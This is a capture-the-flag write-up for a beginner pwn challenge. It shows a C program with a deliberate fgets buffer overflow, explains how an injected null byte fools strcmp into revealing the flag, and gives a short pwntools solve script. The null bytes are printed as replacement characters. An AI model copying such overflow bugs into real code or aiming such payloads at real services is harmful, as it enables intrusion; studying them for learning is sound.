warmup
In Sieberrsec 2021, 316 points
No description provided
Challenge files: warmup
warmup
Category: pwn
Points: 316
Solves: 17
The following code is provided:
#include <stdio.h>
int main() {
char input[32];
char flag[32];
// read flag file
FILE *f = fopen("flag", "r");
fgets(flag, 32, f);
fclose(f);
// read the user's guess
fgets(input, 0x32, stdin);
// if user's guess matches the flag
if (!strcmp(flag,input)) {
puts("Predicted!");
system("cat flag");
} else puts("Your flag was wrong :(");
}
We observe that a buffer overflow occurs when fgets(input, 0x32, stdin);
is executed. This is because 0x32 = 50
, but the buffer is only 32 bytes long. However, since the flag
buffer is also 32 bytes long, we do not have enough bytes to overwrite [rsp]
in order to control $rip
in a ret2<anything> attack, so we will need to think of an alternate solution.
The buffers flag
and input
are compared against each other using strcmp
, and if they are equal, the flag is printed. However, without knowing the flag, how are we going to get these two buffers be equal??
We can use the buffer overflow to overwrite part of the flag
buffer. However, we can only write the first 18 bytes of the buffer (50-32=18), so we can't just overwrite both buffers with 'a's.
However, strings in C are null terminated - they end with a null byte, which has the value 0. So in C, the strings "flag�aaaaa" and "flag�bbbbb" will be strcmp
equal to each other. Using this property, we can add a null byte before the 18th byte of the second buffer. This will 'trick' strcmp
into thinking that the string in the second buffer has ended, while in fact there are another 12 bytes of flag in the buffer.
Here's a visual representation of the attack:
Layout of the 2 buffers:
0 32 64
┌──────────────────────────┬──────────────────────────┐
│ │ │
│ Input buffer │ Flag buffer │
└──────────────────────────┴──────────────────────────┘
What happens normally when a user enters stuff
0 32 64
┌──────────────────────────┬──────────────────────────┐
│ │ │
│ Our input goes here!� │ IRS{THE_FLAG!!!!!}� │
└──────────────────────────┴──────────────────────────┘
Note: the � is a null byte. You can't see null bytes but we will use � to represent them
What happens when you enter more than 32 bytes of input (not to scale):
0 32 64
┌──────────────────────────┬──────────────────────────┐
│ │ │
│ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AG!!!!!}� │
└─────────────────────────────────────────────────────┘
The input buffer overflows and overwrites the start of the flag buffer. But we cannot overwrite everything!
The attack (not to scale):
0 32 64
┌──────────────────────────┬──────────────────────────┐
│ │ │
│ AAAAAAAAAAAAAA�PADDINGAAAAAAAAAAAAAA�!!!!}� │
└───▲──────────────▲───────▲──────────────▲───────────┘
│ input │ │ flag │
└──────────────┘ └──────────────┘
Since strcmp
only compares input
and flag
up to the null byte, it thinks the 2 strings are equal and gives us the flag!
However, we must ensure that we have sufficient padding that the AAAAA.. lines up correctly with the start of the flag buffer.
Solve script
from pwn import *
e = ELF("./chal")
context.binary = e
def setup():
#p = e.process()
p = remote("challs.sieberrsec.tech",3476)
return p
if __name__ == '__main__':
p = setup()
# For the first buffer: 16 'a's, a null byte and 15 bytes of padding -> 32 bytes in total
# For the second buffer: 16 'a's and a null byte
p.send(b"a"*16+b"�"+b"�"*15 + b"a"*16+b"�")
p.interactive()
Comments
Idk why I decided to do ASCII art for this writeup, it kinda looks nice but quite pain to make. Hopefully it looks nice on github.